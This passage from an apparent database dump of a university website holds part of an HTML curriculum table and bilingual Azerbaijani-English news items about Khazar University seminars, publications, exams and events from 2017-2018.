<td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL103</td>\r\n  <td>Akademik İngilis dili</td>\r\n  <td>ENGL102</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR216</td>\r\n  <td>İxtisas yönümlü İngilis dili</td>\r\n  <td>ENGL103</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL105</td>\r\n  <td>Azərbaycan Ədəbiyyatı</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR251</td>\r\n  <td>Beynəlxalq təşkilatlar</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">LIT308</td>\r\n  <td>Avropa Ədəbiyyatı</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHIL110</td>\r\n  <td>Fəlsəfəyə Giriş</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR250</td>\r\n  <td>Beynəlxalq Münasibətlər Tarixi</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə Xarici dil-1(Avropa dilləri)</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə Xarici dil-2(Avropa dilləri)</td>\r\n  <td>Seçmə dil-1</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3-cü kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl111\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl114\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">HIST144</td>\r\n  <td>Avropa Ölkələri tarixi</td><td>HIST394</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR357</td>\r\n  <td>Avropa Ölkələrinin Etnopsixologiyası</td>\r\n  <td>PSIR250</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR300</td>\r\n  <td>Beynəlxalq Münasibətlər Nəzəriyyəsi</td>\r\n  <td>PSIR110</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR352</td>\r\n  <td>Beynəlxalq Siyasi İqtisadiyyat</td>\r\n  <td>PSIR110</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR304</td>\r\n  <td>Beynəlxalq İctimai Hüquq</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEO201</td>\r\n  <td>Avropa Ölkələrinin Coğrafiyası</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR301</td>\r\n  <td>Müasir Diplomatiya</td>\r\n  <td>PSIR250</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>4-cü kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl111\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl114\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR411</td>\r\n  <td>Avropa Ölkələrinin İqtisadiyyatı</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR460</td>\r\n  <td>Aİ Hüququ</td><td>PSIR410</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR401</td>\r\n  <td>Siyasi Psixologiya</td>\r\n  <td>PSIR300</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR500</td>\r\n  <td>Təcrübə</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR400</td>\r\n  <td>Siyasi Elmlərdə Tədqiqat Metodları</td>\r\n  <td><br></td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR410</td>\r\n  <td>Aİ-nin siyasi sistemi və xarici siyasəti</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Ümumi Kredit Sayı</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td><strong>264</strong></td>\r\n </tr></tbody></table>'),(6376,3622,'en','A seminar “My Silent Film: Me and my Mirror” held','On November 12, 2018, Malak Karimova, Coordinator of the Department of Psychology of Khazar...','<p>On November 12, 2018, Malak Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Khazar Psychological Service Center, conducted a seminar “My Silent Film: Me and my Mirror”, on an initiative of the Theology Institute of Azerbaijan. The aim of the seminar was to support young people to achieve more self-consciousness, comment on factors influencing their relations with themselves and the environment, and show them how silent inner talk affects their desires and motivations. The seminar focused on how young students can get a deeper insight into themselves and discover their own potential.</p><p>The seminar was held on interactive method. The students and instructors were satisfied with the seminar and expressed their pleasure for collaboration with Khazar University.</p>'),(6377,3623,'az','“Xəzər Xəbər” jurnalının sentyabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018-ci il sentyabr nömrəsi (376-cı nömrə) Xəzər Universitetinin...','<p>“Xəzər Xəbər” jurnalının 2018-ci il sentyabr nömrəsi (376-cı nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org\">http://khazar-review.khazar.org</a></p>'),(6378,3623,'en','September issue of “Khazar Review” journal is published','September issue, 2018, of “Khazar Review” journal (number 376) has been published...','<p>September issue, 2018, of “Khazar Review” journal (number 376) has been published at Khazar University press. The journal is available at&nbsp;<a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org</a>.</p>'),(6379,3624,'az','Xəzər Universitetində birinci semestrin aralıq imtahanları başlandı – FOTOSESSİYA','Xəzər Universitetində birinci semestrin aralıq imtahanları başlandı...',''),(6380,3624,'en','Midterm Exams of the 1st Semester at Khazar University – PHOTO SESSION','Midterm Exams of the 1st Semester at Khazar University...',''),(6384,3626,'en','An article co-authored by a PhD candidate published','An article “The sentence deep structure and its semantic research principles in N.Chomsky’s...','<p>An article “<em><a href=\"/files/letters/philology_no_6_18_november.pdf\">The sentence deep structure and its semantic research principles in N.Chomsky’s Syntactic Structures</a></em>” (in English) by Valida Karimova (a PhD candidate), Vice-dean of the School of Humanities and Social Sciences of Khazar University, co-authored with Prof. Fakhraddin Veysalli, Head of the Chair of General Linguistics of Azerbaijan University of Languages, was published in “Philology” journal (ISSN 2414-4452), number 6, 2018, an international scientific journal published in Volgograd city, the Russian Federation. The article mainly deals with the sentence deep structure as the main form of a sentence, methods of identification of specific characteristics of the deep structure, the role of the deep structure in language learning, and auxiliary inversion.</p>'),(3851,2244,'az','Binghamton Universitetinin professoru Tarix və arxeologiya departamentində','2017-ci il iyunun 2-də Xəzər Universiteti Tarix və arxeologiya departamentində Roza Arazovanın təşəbbüsü ilə Binghamton Universiteti Tarix departamentinin professoru Heather...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il iyunun 2-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentində Roza Arazovanın təşəbbüsü ilə Binghamton Universiteti Tarix\r\ndepartamentinin professoru Heather D. DeHaan ilə dəyirmi masa ətrafında elmi\r\nseminar təşkil olundu. Seminarda kinorejissor Nazim Rza da iştirak etdi.Professor Heather D. DeHaan Azərbaycan tarixi ilə məşğuldur.\r\nO, xüsusilə Bakı məhəllələri ilə maraqlanır. Roza Arazova öz kitabxanasından\r\nmüxtəlif kitabları qonağa göstərərək, məlumatlar verdi və bu kitabları oxumağı\r\nona məsləhət bildi. Kinorejissor Nazim Rza qonaqla maraqlı söhbət etdi. Seminar\r\nmaraqlı təqdimat və müzakirə şəraitində keçdi.&nbsp;</p>'),(3852,2245,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3853,2245,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3854,2240,'en','The article of Vurgun Eyyub is published','On 2 June, 2017, the article produced by Vurgun Eyyub, the assistant professor, head of the Department of Language and Literature,  from  the series  ‘Analyses of the Story’ dedicated...','<p>On 2\r\nJune, 2017, the article produced by Vurgun Eyyub, the assistant professor, head\r\nof the Department of Language and Literature,&nbsp;\r\nfrom &nbsp;the series&nbsp; ‘Analyses of the Story’ dedicated to “The\r\nDoor” story by Nariman Abdulrahman is published on the website &nbsp;<strong><em>xeber365.com</em></strong></p>\r\n<p>The\r\narticle can be read via this link:&nbsp; </p>\r\n<p><a href=\"http://xeber365.com/haber-n.-bdulr-hmanlinin-qapi-si-onund-dusunc-l-r-7932.html\">http://xeber365.com/haber-n.-bdulr-hmanlinin-qapi-si-onund-dusunc-l-r-7932.html</a></p>'),(3855,2246,'az','Xəzər Universitetinin nümayəndələri xarici səfərlərdə oldular','2017-ci il mayın 22-dən 26-dək Portuqalyanın Minyo Universitetində Erasmus+ “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“Advocacy Establishment...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil mayın 22-dən 26-dək Portuqalyanın Minyo Universitetində Erasmus+ “Ombudsman\r\nvəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (“<em>Advocacy Establishment for Students through Ombudsman Position</em>” –\r\nAESOP) layihəsi çərçivəsində layihənin tərəfdaşlarının görüşü keçirildi.\r\nGörüşün əsas məqsədi Minyo Universitetinin Ombudsman ofisinin fəaliyyəti ilə\r\ntanış olmaq və onların təcrübələrini öyrənməkdən ibarət idi. Görüşdə Xəzər\r\nUniversitetini Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, İngilis\r\ndili və ədəbiyyatı departamentinin müdir əvəzi Eynur Mehdiyev, Qəbul və tələbə\r\nşöbəsinin müdiri Lamiyə Namazova, Pyp koordinator assistenti Arzu Rzayeva və\r\nlayihə koordinatoru Rima Məmmədova təmsil edirdilər. &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeyd\r\nedək ki, eyni layihə çərçivəsində cari il mayın 1-dən 5-dək İtalyanın L’Akvila\r\nUniversitetində də görüş keçirilmişdi. Görüş zamanı Xəzər Universitetini İngilis\r\ndili və ədəbiyyatı departamentinin müdir əvəzi Eynur Mehdiyev, Qəbul və tələbə\r\nşöbəsinin müdiri Lamiyə Namazova, Pyp koordinator assistenti Arzu Rzayeva və\r\nlayihə koordinatoru Rima Məmmədova təmsil etmişdilər.</p>'),(3856,2247,'az','“Xəzər”in müğənni müəllimi “Dalğa” aşıqlar qrupunun konsertində','Mayın 24-də Heydər Əliyev adına Sarayda Çingiz Mehdipurun rəhbərlik etdiyi “Dalğa”  aşıqlar qrupunun konserti oldu. Təbrizdən gəlmiş qrupun konsertində   Azərbaycan aşıqları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mayın 24-də Heydər Əliyev adına Sarayda Çingiz\r\nMehdipurun rəhbərlik etdiyi “Dalğa”&nbsp;\r\naşıqlar qrupunun konserti oldu. Təbrizdən gəlmiş qrupun konsertində&nbsp;&nbsp; Azərbaycan aşıqları Nəbi Nağıyev və Əli\r\nZeynalabdinov, müğənnilər Ayşən Mehdiyeva və Xəzər Universitetinin vokal müəllimi,\r\nMüslüm Maqomayev adına Dövlət Filarmoniyasının solisti, Çaykovski adına Moskva\r\nKonservatoriyasının magistrantı Məhsəti Cabbarova (Azaflı) da iştirak etmişlər.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Məhsəti Cabbarovanın (Azaflı) ifasında “Laçını\r\nKoroğlu” və “Bayramı” aşıq havaları səslənmişdir. O, Azərbaycan aşıq sənətində\r\nilk dəfə olaraq “Bayramı” aşıq havasını&nbsp;\r\nakademik obraz ifa tərzində tamaşaçılara təqdim etmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Konsert tamaşaçıların sürəkli alqışları ilə\r\nqarşılanmışdır.&nbsp;</p>'),(3857,2248,'az','Xəzər Universitetində “Məntiq yarışması” keçirildi','2017-ci il iyunun 1-də Xəzər Universiteti “Universitet – məktəb əməkdaşlığı” layihəsi çərçivəsində 232 saylı məktəbin təşəbbüsü ilə Suraxanı rayon orta məktəblərinin 6-7-ci sinif...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il iyunun 1-də Xəzər\r\nUniversiteti “Universitet – məktəb əməkdaşlığı” layihəsi çərçivəsində 232 saylı\r\nməktəbin təşəbbüsü ilə Suraxanı rayon orta məktəblərinin 6-7-ci sinif şagirdləri\r\narasında, hər biri 15 dəqiqə olmaqla, 3 turdan ibarət “Məntiq yarışması”nın\r\nfinal mərhələsi keçirildi. Yarışmada 232 saylı məktəbin şagirdləri ilə bərabər,\r\n140, 85, 226, 284, 149 və 193 saylı məktəblərin müəllim və şagirdləri də\r\niştirak edirdilər. Finalda hər birində 6 nəfər olmaqla, 7 məktəbin komandası\r\nyarışdı. Komandalara aid olduqları məktəblərin şagirdləri yarış boyu azarkeşlik\r\nedirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetinin əməkdaşlarından\r\nvə Bakı Şəhəri Baş Təhsil İdarəsinin nümayəndəsindən ibarət 6 nəfərlik münsiflər\r\nheyəti cavabları qiymətləndirdi. Yekunda 149 saylı məktəbin komandası 1-ci\r\nyeri, 232 saylı məktəbin komandası 2-ci yeri, 85 saylı məktəbin komandası isə\r\n3-cü yeri tutdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirin\r\nsonunda bütün yarış iştirakçılarına sertifikatlar, ilk üç yeri tutan\r\nkomandalara isə diplom və medallar təqdim olundu. 1-ci yeri tutan məktəbin\r\nkomandası kubokla da təltif edildi. Bundan əlavə, Xəzər Universiteti və Bakı Şəhər\r\nBaş Təhsil İdarəsi tərəfindən yarışda\r\niştirak edən şagirdlərə hədiyyələr paylandı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbiri\r\nyekun sözü ilə bitirən Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasnın sədri professor\r\nHamlet İsaxanlı 232 saylı məktəbin direktoru Məhluqə xanım Əzizovaya universitet-məktəb\r\nəməkdaşlığında göstərdiyi təşəbbüsünə görə təşəkkürnamə təqdim etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yarış ərzində, fasilələrdə Xəzər\r\nUniversitetinin tələbə və müəllimlərdən ibarət qrupu musiqi və rəqs nömrələri\r\ngöstərdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda xatirə şəkli çəkildi.</p>'),(3858,2241,'en','Khazar University on media','On June 1, 2017, an article about Khazar University entitled “Khazar University was deprived of 2 million dollars’ was published on the website xeber365.com...','<p>On June 1, 2017, an\r\narticle about Khazar University entitled “Khazar University was deprived of 2\r\nmillion dollars’ was published on the website <strong><em>xeber365.com</em></strong>.</p>\r\n<p>The article can be read\r\nvia this link:</p>\r\n<p><a href=\"http://xeber365.com/haber-x-z-r-universitetini-2-milyon-dollardan-m-hrum-edibl-r-7918\">http://xeber365.com/haber-x-z-r-universitetini-2-milyon-dollardan-m-hrum-edibl-r-7918</a>.</p>'),(3859,2242,'en','Hamlet Isaxanli gave a speech at the event dedicated to the artist Kamal Ahmad','On June 1, 2017 an article on the event dedicated to the artist Kamal Ahmadwithin the \"People\'s trust\" project  was published on the website azadinform.az...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On June 1, 2017 an\r\narticle on the event dedicated to the artist Kamal Ahmadwithin\r\nthe \"People\'s trust\" project &nbsp;was\r\npublished on the website <strong><em>azadinform.az.</em></strong> </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, Professor\r\nHamlet Isakhanli’s speech takes a portion of the article. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The article can be read\r\nvia this link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.azadinform.az/news/a-143516.html\">http://www.azadinform.az/news/a-143516.html</a>.</p>'),(3860,2244,'en','Professor of Binghamton University (New York City, USA) in the Department of History and Archeology','On June 2, 2017 a roundtable scientific seminar on Roza Arazova’s, head of History department,  initiative  was organised at the department of History, Khazar University with...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On June 2, 2017 a roundtable scientific seminar on\r\nRoza Arazova’s, head of History department, &nbsp;initiative&nbsp;\r\nwas organised at the department of History, Khazar University with Heather\r\nD. DeHaan, the professor of Binghamton University, &nbsp;History Department.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The film-maker,\r\nNazim Rza also took part in the seminar. Professor Heather D. DeHaan is engaged\r\nin the history of Azerbaijan. She is particularly interested in Baku\r\nneighbourhoods. Roza Arazova, head of History department, &nbsp;showed some books from her own library, gave\r\ndetailed information and &nbsp;recommended her\r\nto read them. The film-maker, Nazim Rza had also an interesting conversation\r\nwith the guest. The seminar took place in a good sequence of interesting\r\npresentation and discussion. &nbsp;</p>'),(3861,2243,'en','Students of Khazar University honored a folk poet','On 28 May, 2017, Qardashkhan Azizkhanli, the teacher of Khazar University and the students participated in the event dedicated to the memory of national poet Sohrab Tahir...','<p>On 28 May, 2017, Qardashkhan Azizkhanli, the teacher of Khazar University\r\nand the students participated in the event dedicated to the memory of national\r\npoet Sohrab Tahir. The information regarding this event was published on the\r\nofficial website of the State News Agency (APA).</p>\r\n<p>The material can be read via this link:</p>\r\n<p><a href=\"http://azertag.az/xeber/Xalq_Sairi_Sohrab_Tahirin_xatiresi_anilib-1065505\">http://azertag.az/xeber/Xalq_Sairi_Sohrab_Tahirin_xatiresi_anilib-1065505</a>.</p>'),(3862,2246,'en','Representatives of Khazar University at the international meetings','On May 22-26, 2017 a meeting of the “Advocacy Establishment for Students through Ombudsman Position” (AESOP) project partners was held at the University of Minho, Portugal...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nMay 22-26, 2017 a meeting of the “Advocacy Establishment for Students through\r\nOmbudsman Position” (AESOP) project partners was held at the University of\r\nMinho, Portugal. The purpose of the meeting was to familiarize the participants\r\nwith the work of the office of the Ombudsman at the University of Minho. Khazar\r\nUniversity was represented, during the meeting, by Lyudmila Sotova, Head of\r\nQuality Assurance Center, Eynur Mehdiyev, Vice chair of English language and\r\nLiterature department, Lamia Namazova, Head of Admission Office, Arzu Rzayeva, PYP\r\n(Primary Years Programme) coordinator assistant and Rima Mammadova, Project\r\ncoordinator. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nprevious meeting was held at the University of L’Aquila in the framework of the\r\nsame project on May 01-05, 2017. Khazar University was represented by Eynur\r\nMehdiyev, Vice chair of English language and Literature department, Lamia\r\nNamazova, Head of Admission Office, Arzu Rzayeva, PYP coordinator assistant and\r\nRima Mammadova, Project coordinator.</p>'),(3863,2249,'az','Khazar Journal of Humanities and Social Sciences jurnalının növbəti nömrəsi çapdan çıxıb','Xəzər Universitetinin nəşri olan Khazar Journal of Humanities and Social Sciences  (“Xəzər humanitar və sosial elmlər jurnalı”)  jurnalının növbəti nömrəsi (№2, 2017, cild 20) çapdan...','<p>Xəzər Universitetinin nəşri\r\nolan <em>Khazar Journal of Humanities and\r\nSocial Sciences </em>&nbsp;(“Xəzər humanitar və\r\nsosial elmlər jurnalı”)<em>&nbsp; </em>jurnalının növbəti nömrəsi (№2, 2017, cild 20) çapdan çıxmışdır. Jurnalı bu vebsaytda da\r\noxumaq olar: <a href=\"http://jhss-khazar.org\">www.jhss-khazar.org</a>    </p>'),(3864,2250,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3865,2250,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3866,2251,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim 